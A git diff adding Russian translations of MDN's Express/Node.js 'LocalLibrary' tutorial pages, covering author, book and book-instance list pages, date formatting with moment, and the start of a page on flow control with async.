href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html new file mode 100644 index 0000000000..2e1edbc625 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/author_list_page/index.html @@ -0,0 +1,85 @@ +--- +title: Список авторов. Тест - список жанров +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page +--- +<p>Страница списка авторов должна показывать список всех авторов, хранимых в БД, причем каждое имя автора должно быть связано со страницей подробностей для этого автора. Дата рождения автора и дата смерти должны выводиться в одной строке после имени автора.</p> + +<h2 class="highlight-spanned" id="Контроллер"><span class="highlight-span">Контроллер</span></h2> + +<p>Функция контроллера списка авторов должна получить список всех элементов в <code>Author</code> , и передать этот список в шаблон для отображения.</p> + +<p>Откройте файл <strong>/controllers/authorController.js</strong>. Найдите экспортируемый метод <code>author_list()</code> в начале файла и замените его следующим ниже кодом:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all Authors.</span> +exports<span class="punctuation token">.</span>author_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Author<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">sort</span><span class="punctuation token">(</span><span class="punctuation token">[</span><span class="punctuation token">[</span><span class="string token">'family_name'</span><span class="punctuation token">,</span> <span class="string token">'ascending'</span><span class="punctuation token">]</span><span class="punctuation token">]</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_authors<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">//Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'author_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Author List'</span><span class="punctuation token">,</span> author_list<span class="punctuation token">:</span> list_authors <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>Метод использует такие функции модели как <code>find()</code>, <code>sort()</code> и <code>exec()</code> для того, чтобы вернуть все объекты <code>Author</code> отсортированными по <code>family_name</code> в алфавитном порядке. В вызове <code>exec()</code> callback-функция имеет первый параметр- объект ошибок (или <code>null</code>) и второй параметр - список всех авторов, если ошибок не было. При ошибках вызывается следующая функция промежуточного слоя с полученным значением объекта ошибок, а если ошибок не было, отображается шаблон <strong>author_list</strong>(.pug), передавая странице <code>title</code> и список авторов (<code>author_list</code>).</p> + +<h2 class="highlight-spanned" id="Представление"><span class="highlight-span">Представление</span></h2> + +<p>Создайте файл <strong>/views/author_list.pug</strong> и поместите в него следующий текст:</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each author <span class="keyword token">in</span> author_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>author<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>author<span class="punctuation token">.</span>name<span class="punctuation token">}</span> + <span class="operator token">|</span> <span class="punctuation token">(</span>#<span class="punctuation token">{</span>author<span class="punctuation token">.</span>date_of_birth<span class="punctuation token">}</span> <span class="operator token">-</span> #<span class="punctuation token">{</span>author<span class="punctuation token">.</span>date_of_death<span class="punctuation token">}</span><span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no authors<span class="punctuation token">.</span></code></pre> + +<p>Представление создано по тому же образцу, что и другие шаблоны.</p> + +<h2 class="highlight-spanned" id="Как_это_выглядит"><span class="highlight-span">Как это выглядит?</span></h2> + +<p>Запустите приложение и откройте браузер с адресом <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Выберите ссылку <em>All authors</em>. Если все было сделано правильно, страница должна выглядеть примерно нак, как на следующем скриншоте.</p> + +<p><img alt="Author List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14468/LocalLibary_Express_Author_List.png" style="display: block; height: 453px; margin: 0px auto; width: 1200px;"></p> + +<div class="note"> +<p><strong>Заметка:</strong> Представление дат продолжительности жизни автора выгядит безобразно! Это можно исправить, если использовать <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data#date_formatting">тот же подход</a> , который применялся для списка <code>BookInstance</code> (добавить в модель <code>Author</code> виртуальное свойство продолжительности жизни). Но в этот раз, однако, некоторые даты могут отсутствовать, и ссылки на несуществующие свойства игнорируются, если не задан строгий режим. Метод <code>moment()</code> возврашает текущее время, и нежелательно, чтобы отсутствующие даты форматировались как "сегодня". Один из способов состоит в том, чтобы форматирующая функция возвращала пустую строку, если дата не существует. Например:</p> + +<p><code>return this.date_of_birth ? moment(this.date_of_birth).format('YYYY-MM-DD') : '';</code></p> +</div> + +<h2 id="Тест_-_страница_списка_жанров!Edit">Тест - страница списка жанров!<a class="button section-edit only-icon" href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data$edit#Genre_list_page—challenge!" rel="nofollow, noindex"><span>Edit</span></a></h2> + +<p>В этой части требуется создать собственную страницу списка жанров. Страница должна показывать жанры, имеющиеся в БД, а для каждого жанра должна быть создана ссылка на страницу с детальной информацией. Скриншот ожидаемого результата приводится ниже.</p> + +<p><img alt="Genre List - Express Local Library site" src="https://mdn.mozillademos.org/files/14460/LocalLibary_Express_Genre_List.png" style="border-style: solid; border-width: 1px; display: block; height: 346px; margin: 0px auto; width: 600px;"></p> + +<p>Функция контроллера списка жанров должна получить список всех экземпляров <code>Genre</code>, и передать его в шаблон для отображения.</p> + +<ol> + <li>Следует отредактировать <code>genre_list()</code> в файле <strong>/controllers/genreController.js</strong>. </li> + <li>Реализация почти такая же, как и для контроллера <code>author_list()</code> . + <ul> + <li>Sort the results by name, in ascending order.</li> + </ul> + </li> + <li>Отображающий шаблон должен быть назван <strong>genre_list.pug</strong>.</li> + <li>Шаблону для отображения должны быть переданы переменные <code>title</code> (строка 'Genre List') и <code>genre_list</code> (the list of список жанров, который вернет callback-функция <code>Genre.find()</code>.</li> + <li>Представление должно соответствовать скриншоту, приведенному ранее (оно должно иметь структуру и формат, похожие на таковые в представлении списка авторов, за исключением, конечно, продолжительности жизни, так как для жанров даты не заданы).</li> +</ol> + +<h2 id="Далее">Далее</h2> + +<p>Вернуться к части 5 - <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</p> + +<p>Перейти к следующему подразделу в части 5: подробная информация о жанрах (<a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Genre_detail_page">Genre detail page</a>).</p> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html new file mode 100644 index 0000000000..b5a4400d90 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/book_list_page/index.html @@ -0,0 +1,68 @@ +--- +title: Страница списка книг +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Book_list_page +--- +<p>Далее мы реализуем нашу страницу списка книг. На этой странице должен отображаться список всех книг и их авторов в базе данных, причем каждое название книги является гиперссылкой на соответствующую страницу сведений о книге.</p> + +<h2 class="highlight-spanned" id="Контроллер"><span class="highlight-span">Контроллер</span></h2> + +<p>Функция контроллера списка книг должна получить список всех объектов <code>Book</code> в базе данных, а затем передать их для отрисовки шаблона.</p> + +<p>Откройте файл <strong>/controllers/bookController.js</strong>. Найдите экспортируемый метод контроллера <code>book_list()</code> и замените его следующим кодом.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all Books.</span> +exports<span class="punctuation token">.</span>book_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + Book<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">{</span><span class="punctuation token">}</span><span class="punctuation token">,</span> <span class="string token">'title author'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'author'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_books<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">//Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'book_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Book List'</span><span class="punctuation token">,</span> book_list<span class="punctuation token">:</span> list_books <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>Метод использует функцию модели<code>find()</code> для возврата всех объектов <code>Book</code>, выбрав для возврата только заголовок и автора, поскольку нам не нужны другие поля (он также вернет <code>_id</code> и виртуальные поля). Здесь мы также вызываем <code>populate()</code> on <code>Book</code>, указывая поле <code>author</code> —это заменит сохраненный идентификатор автора книги полными сведениями об авторе.</p> + +<p>При успешном выполнении, обратный вызов передаст запрос на отрисовку шаблона <strong>book_list</strong>(.pug), передаст <code>title</code> и<code>book_list</code> (список книг с автором) в качестве переменных.</p> + +<h2 class="highlight-spanned" id="Представление"><span class="highlight-span">Представление</span></h2> + +<p>Создайте файл <strong>/views/book_list.pug</strong> и скопируйте в него текст ниже.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each book <span class="keyword token">in</span> book_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>book<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>book<span class="punctuation token">.</span>title<span class="punctuation token">}</span> + <span class="operator token">|</span> <span class="punctuation token">(</span>#<span class="punctuation token">{</span>book<span class="punctuation token">.</span>author<span class="punctuation token">.</span>name<span class="punctuation token">}</span><span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no books<span class="punctuation token">.</span></code></pre> + +<p>View расширит базовый шаблон <strong>layout.pug</strong> и переопределит <code>block</code> с именем '<strong>content</strong>'. Он отображает <code>title</code> который мы передали из контроллера (с помощью метода <code>render()</code> ), а затем перебирает переменную <code>book_list</code> используя синтаксис <code>each</code>-<code>in</code>-<code>else</code> . Для каждой книги создается элемент списка, отображающий название книги в виде ссылки на страницу сведений о книге, за которой следует имя автора. Если в <code>book_list</code> нет книг, то выполняется <code>else</code>, и отображается текст "нет книг".'</p> + +<div class="note"> +<p><strong>Заметка: </strong>Мы используем <code>book.url</code> для предоставления ссылки на подробную запись для каждой книги (мы реализовали этот маршрут, но не страницу). Это виртуальное свойство модели <code>Book</code> , которая использует поле <code>_id</code> для создания уникального URL.</p> +</div> + +<p>Здесь интересно, что каждая книга определена в двух строках, использование конвейера для второй строки (выделено выше) необходимо, чтобы имя автора не стало частью гиперссылки из первой строки.</p> + +<h2 class="highlight-spanned" id="На_что_это_похоже">На что это похоже?</h2> + +<p>Запустите приложение (смотрите <a href="https://developer.mozilla.org/en-US/docs/Learn/Server-side/Express_Nodejs/routes#Testing_the_routes">тестирование маршрутов</a> для соответствующей команды) и откройте ваш браузер по адресу: <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>. Затем выберите ссылку: <em>All books</em>. Если все сделано корректно, то вы должны увидеть нечто подобное скриншоту ниже.</p> + +<p><img alt="Book List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14464/LocalLibary_Express_Book_List.png" style="border-style: solid; border-width: 1px; display: block; height: 387px; margin: 0px auto; width: 918px;"></p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page">BookInstance list page</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html new file mode 100644 index 0000000000..512e78d040 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/bookinstance_list_page/index.html @@ -0,0 +1,69 @@ +--- +title: Список экземпляров книг +slug: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/BookInstance_list_page +--- +<p>Далее мы реализуем список всех имеющихся в библиотеке копий книги (<code>BookInstance</code>) . Эта страница должна включать название книги из <code>Book</code>, с которой связаны экземпляры <code>BookInstance</code> (linked to its detail page), а такжде дополнительнцю информацию, имеющуюся в модели <code>BookInstance</code>, включая статус, издание, и уникальный идентификатор каждой копии. Уникальное значение идентификатора копии должно быть связано со страницей детальной информации <code>BookInstance</code>.</p> + +<h2 class="highlight-spanned" id="Контроллер"><span class="highlight-span">Контроллер</span></h2> + +<p>Функция контроллера списка <code>BookInstance</code> требуется для получения списка всех экземпляров некоторой книги, для получения информации, связанной с книгой, и для передачиполученного списка в шаблог для отображения.</p> + +<p>Откройте файл <strong>/controllers/bookinstanceController.js</strong>. Найдите экспортируемый метод <code>bookinstance_list()</code> контроллера и замените его следующим кодом (измененный код выделен жирным).</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="comment token">// Display list of all BookInstances.</span> +exports<span class="punctuation token">.</span>bookinstance_list <span class="operator token">=</span> <span class="keyword token">function</span><span class="punctuation token">(</span>req<span class="punctuation token">,</span> res<span class="punctuation token">,</span> next<span class="punctuation token">)</span> <span class="punctuation token">{</span> + + <strong>BookInstance<span class="punctuation token">.</span><span class="function token">find</span><span class="punctuation token">(</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">populate</span><span class="punctuation token">(</span><span class="string token">'book'</span><span class="punctuation token">)</span> + <span class="punctuation token">.</span><span class="function token">exec</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span>err<span class="punctuation token">,</span> list_bookinstances<span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">if</span> <span class="punctuation token">(</span>err<span class="punctuation token">)</span> <span class="punctuation token">{</span> <span class="keyword token">return</span> <span class="function token">next</span><span class="punctuation token">(</span>err<span class="punctuation token">)</span><span class="punctuation token">;</span> <span class="punctuation token">}</span> + <span class="comment token">// Successful, so render</span> + res<span class="punctuation token">.</span><span class="function token">render</span><span class="punctuation token">(</span><span class="string token">'bookinstance_list'</span><span class="punctuation token">,</span> <span class="punctuation token">{</span> title<span class="punctuation token">:</span> <span class="string token">'Book Instance List'</span><span class="punctuation token">,</span> bookinstance_list<span class="punctuation token">:</span> list_bookinstances <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span> + <span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></strong> + +<span class="punctuation token">}</span><span class="punctuation token">;</span></code></pre> + +<p>Чтобы вернуть все объекты <code>BookInstance,</code> метод использует функцию <code>find()</code> модели. Далее в цепочке вызывается метод <code>populate()</code> с аргументом - полем <code>book,</code> что приводит к замене идентификатора id, хранящегося для каждого экземпляра <code>BookInstance</code> полным документом <code>Book</code>.</p> + +<p>При удаче, callback-функция, переданная запросу, заполняет шаблон <strong>bookinstance_list</strong>(.pug), передав переменные <code>title</code> и <code>bookinstance_list</code>.</p> + +<h2 class="highlight-spanned" id="Представление">Представление</h2> + +<p>Создайте файл <strong>/views/bookinstance_list.pug</strong> и скопируйте в него текст, приведенный ниже.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">extends</span> <span class="class-name token">layout</span> + +block content + h1<span class="operator token">=</span> title + + ul + each val <span class="keyword token">in</span> bookinstance_list + li + <span class="function token">a</span><span class="punctuation token">(</span>href<span class="operator token">=</span>val<span class="punctuation token">.</span>url<span class="punctuation token">)</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>book<span class="punctuation token">.</span>title<span class="punctuation token">}</span> <span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>imprint<span class="punctuation token">}</span> <span class="operator token">-</span> + <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">==</span><span class="string token">'Available'</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>success #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">else</span> <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">==</span><span class="string token">'Maintenance'</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>danger #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">else</span> + span<span class="punctuation token">.</span>text<span class="operator token">-</span>warning #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>status<span class="punctuation token">}</span> + <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">!=</span><span class="string token">'Available'</span> + span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back<span class="punctuation token">}</span> <span class="punctuation token">)</span> + + <span class="keyword token">else</span> + li There are no book copies <span class="keyword token">in</span> <span class="keyword token">this</span> library<span class="punctuation token">.</span></code></pre> + +<p>This view is much the same as all the others. It extends the layout, replacing the <em>content</em> block, displays the <code>title</code> passed in from the controller, and iterates through all the book copies in <code>bookinstance_list</code>. For each copy we display its status (colour coded) and if the book is not available, its expected return date. One new feature is introduced—we can use dot notation after a tag to assign a class. So <code>span.text-success</code> will be compiled to <code><span class="text-success"></code> (and might also be written in Pug as <code>span(class="text-success")</code>.</p> + +<h2 class="highlight-spanned" id="What_does_it_look_like"><span class="highlight-span">What does it look like?</span></h2> + +<p>Run the application, open your browser to <a class="external external-icon" href="http://localhost:3000/" rel="noopener">http://localhost:3000/</a>, then select the <em>All book-instances </em>link. If everything is set up correctly, your site should look something like the following screenshot.</p> + +<p><img alt="BookInstance List Page - Express Local Library site" src="https://mdn.mozillademos.org/files/14474/LocalLibary_Express_BookInstance_List.png" style="border-style: solid; border-width: 1px; display: block; height: 322px; margin: 0px auto; width: 1200px;"></p> + +<h2 id="Next_steps">Next steps</h2> + +<ul> + <li>Return to <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Proceed to the next subarticle of part 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment">Date formatting using moment</a>.</li> +</ul> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html new file mode 100644 index 0000000000..58f297ce95 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/date_formatting_using_moment/index.html @@ -0,0 +1,60 @@ +--- +title: Форматирование даты при помощи moment +slug: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/Date_formatting_using_moment +--- +<p>По умолчанию отображение дат наших моделей некрасиво: <em>Tue Dec 06 2016 15:49:58 GMT+1100 (AUS Eastern Daylight Time)</em>. В этом разделе мы покажем, как можно обновить страницу списка <em>BookInstance List </em>из предыдущего раздела, чтобы представитьполе <code>due_date</code> в более удобном формате: December 6th, 2016. </p> + +<p>Подход, который будет использован, состоит в создании виртуального свойства в модели <code>BookInstance</code>, которое будет возращать отформатированную дату. Форматирование будет производиться с использованием <a class="external external-icon" href="https://www.npmjs.com/package/moment" rel="noopener">moment</a>, легковесной библиотеки JavaScript для разбора, проверки, изменения и форматирования дат.</p> + +<div class="note"> +<p><strong>Заметка:</strong> Можно применять <em>moment</em> для форматирования непосредственно в шаблонах Pug, а можно отформатировать строку в других местах. Использование виртуального свойства позволяет получить дату, отформатированную точно так же, как при помощи <code>due_date</code>. </p> +</div> + +<h2 class="highlight-spanned" id="Установка_moment"><span class="highlight-span">Установка moment</span></h2> + +<p>Ведите следующую команду в корне проекта:</p> + +<pre class="brush: bash line-numbers language-bash"><code class="language-bash">npm install moment</code></pre> + +<h2 class="highlight-spanned" id="Создание_виртуального_свойства"><span class="highlight-span">Создание виртуального свойства</span></h2> + +<ol> + <li>Откройте файл <strong>./models/bookinstance.js</strong>.</li> + <li>В начало файла введите строку для импортирования <em>moment</em>. + <pre class="brush: js line-numbers language-js"><code class="language-js"><span class="keyword token">var</span> moment <span class="operator token">=</span> <span class="function token">require</span><span class="punctuation token">(</span><span class="string token">'moment'</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + </li> +</ol> + +<p>Добавьте виртуальное свойство <code>due_back_formatted</code> сразу после свойства url.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js">BookInstanceSchema +<span class="punctuation token">.</span><span class="function token">virtual</span><span class="punctuation token">(</span><span class="string token">'due_back_formatted'</span><span class="punctuation token">)</span> +<span class="punctuation token">.</span><span class="keyword token">get</span><span class="punctuation token">(</span><span class="keyword token">function</span> <span class="punctuation token">(</span><span class="punctuation token">)</span> <span class="punctuation token">{</span> + <span class="keyword token">return</span> <span class="function token">moment</span><span class="punctuation token">(</span><span class="keyword token">this</span><span class="punctuation token">.</span>due_back<span class="punctuation token">)</span><span class="punctuation token">.</span><span class="function token">format</span><span class="punctuation token">(</span><span class="string token">'MMMM Do, YYYY'</span><span class="punctuation token">)</span><span class="punctuation token">;</span> +<span class="punctuation token">}</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre> + +<div class="note"> +<p><strong>Заметка:</strong> Метод format method может вывести дату почти по любому образцу. Синтаксис для представления различных составляющих даты можно найти в документации ( <a class="external external-icon" href="http://momentjs.com/docs/#/displaying/" rel="noopener">moment documentation</a>).</p> +</div> + +<h2 class="highlight-spanned" id="Обновляем_представление"><span class="highlight-span">Обновляем представление</span></h2> + +<p>Откройте файл <strong>/views/bookinstance_list.pug</strong> и замените <code>due_back</code> на <code>due_back_formatted</code>.</p> + +<pre class="brush: js line-numbers language-js"><code class="language-js"> <span class="keyword token">if</span> val<span class="punctuation token">.</span>status<span class="operator token">!=</span><span class="string token">'Available'</span> + <span class="comment token">//span (Due: #{val.due_back} )</span> + span <span class="function token"> </span><span class="punctuation token">(</span>Due<span class="punctuation token">:</span> #<span class="punctuation token">{</span>val<span class="punctuation token">.</span>due_back_formatted<span class="punctuation token">}</span> <span class="punctuation token">)</span> </code></pre> + +<p>Вот и все. Если вы перейдете к <em>All book-instances</em> в боковом меню, вы должны увидеть все даты в привлекательном формате!</p> + +<p> </p> + +<h2 id="Далее">Далее</h2> + +<ul> + <li>Вернуться к <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a>.</li> + <li>Перейти к следующему подразделу части 5: <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data/Author_list_page">Author list page and Genre list page challenge</a> (страница списка авторов и тест- страница списка жанров).</li> +</ul> + +<p> </p> diff --git a/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html new file mode 100644 index 0000000000..32100db740 --- /dev/null +++ b/files/ru/learn/server-side/express_nodejs/displaying_data/flow_control_using_async/index.html @@ -0,0 +1,138 @@ +--- +title: Асинхронное управление потоками при помощи async +slug: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async +tags: + - Node + - Часть 5 +translation_of: Learn/Server-side/Express_Nodejs/Displaying_data/flow_control_using_async +--- +<p>Код контроллера для некоторых страниц библиотеки будет зависеть от результатов многих асинхронных запросов, которые должны выполняться в определенном порядке или параллельно. Для того, чтобы управлять потоком выполнения, и выводить страницы, когда получена вся необходимая информация, будет использован <a class="external external-icon" href="https://www.npmjs.com/package/async" rel="noopener">async</a> - известный модуль node.</p> + +<div class="note"> +<p><strong>Note:</strong> В JavaScript существует много других способов управления аснхронным поведением и потоком выполнения, включая такой относительно новый элемент языка JacaScript как <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/Techniques/Promises">Promises</a> (обещания, промисы).</p> +</div> + +<p>Модуль Async имеет массу полезных методов (см. документациюt <a class="external external-icon" href="http://caolan.github.io/async/docs.html" rel="noopener">the documentation</a>). Вот некоторые наиболее важные функции:</p> + +<ul> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> для осуществеления любых операций, которые должны выполняться параллельно.</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#series" rel="noopener">async.series()</a></code> если нужно иметь уверенность, что асинхронные операции выполняются последовательно.</li> + <li><code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#waterfall" rel="noopener">async.waterfall()</a></code> для операций, которые должны выполняться последовательно, причем каждая операция зависит от результатов предыдущих операций.</li> +</ul> + +<h2 class="highlight-spanned" id="Почему_это_необходимо"><span class="highlight-span">Почему это необходимо?</span></h2> + +<p>Большинство методов, которые используются в <em>Express</em> - <span class="highlight-span">асинхронные - вы определяете выполняемую операцию, передавая </span> callback-функцию. Метод завершается немедленно, а callback-функция вызывается тогда, когда завершилась запрошенная операция. По соглашению, принятому в <em>Express</em>, callback-функция передает значение ошибки <em>error</em> как первый параметр (или <code>null</code> при успехе) и результат функции (если есть) как второй параметр.</p> + +<p>Если контроллер должен выполнить только одну асинхронную операцию, чтобы получить информацию для представления страницы, то реализация проста - мы просто представляем шаблон в колбэке. Фрагмент кода (ниже) демонстрирует это для функции, которая подсчитывает количество элементов модкли <code>SomeModel</code> (применяя метод Mongoose <code><a class="external external-icon" href="http://mongoosejs.com/docs/api.html#model_Model.count" rel="noopener">count()</a></code> ):</p> + +<pre class="brush: js"><code>exports.some_model_count = function(req, res, next) { + +</code> SomeModel.count({ a_model_field: 'match_value' }, function (err, count) { + // ... сделать что-то, если ошибка + + // При успехе представить результат, передав count в render-функцию (здесь - как переменную 'data'). + res.render('the_template', { data: count } ); + }); +<code>}</code> +</pre> + +<p>Однако что, если требуется сделать <strong>множественные</strong> асинхронные запросы, и результат нельзя представить, пока не завершились все операции? Наивная реализация могла бы использовать "венок" запросов, запуская последующие запросы в колбэках предыдущих, и представляя ответ в последнем колбэке. Проблема такого подхода состоит в том, что запросы должны вапольняться последовательно, хотя, вероятно, было бы более эффективно выполнять их параллельно. Это также может привести к усложненному вложенному коду, что обычно называют адом обратных вызовов ( <a class="external external-icon" href="http://callbackhell.com/" rel="noopener">callback hell</a> ).</p> + +<p>Намного лучше было бы выполнять все запросы параллельно, и иметь единственную callback-функцию, которая будет вызвана после того как все запросы выполнены. Именно такое выполнение операций модуль <em>Async</em> делает легким и простым!</p> + +<h2 class="highlight-spanned" id="Параллельные_асинхронные_операции"><span class="highlight-span">Параллельные асинхронные операции</span></h2> + +<p>Метод <code><a class="external external-icon" href="http://caolan.github.io/async/docs.html#parallel" rel="noopener">async.parallel()</a></code> используется для параллельного выполнения нескольких асинхронных операций.</p> + +<p>Первый аргумент в <code>async.parallel()</code> - это коллекция асинхронных функций, которые требуется выполнить (массив, объект или другой итерируемый элемент). Каждая функция получает callback-функцию <code>callback(err, result)</code> , которую она должна вызвать при завершении, с ошибкой <code>err</code> (может быть <code>null</code>) и, возможно, со значением результата <code>results</code>.</p> + +<p>Возможный второй аргумент для <code>async.parallel()</code> - это callback -функция, которая должна быть вызвана после завершения всех функций, указанных в первом аргументе. Эта функция вызывается с аргументом ошибки и результатом - коллекцией результатов отдельных асинхронных операций. Тип коллекции - такой же, как и тип первого аргумента async.parallel (т.е. если передается <em>массив</em> асинхронных функций, итоговая callback-функция будет вызвана с <em>массивом</em> результатов). Если любая из параллельных функций сообщила об ошибке, сразу вызывается итоговая callback-функция, которая возвращает ошибку.</p> + +<p>Пример ниже показывает, как это работает в случае, когда первый аргумент 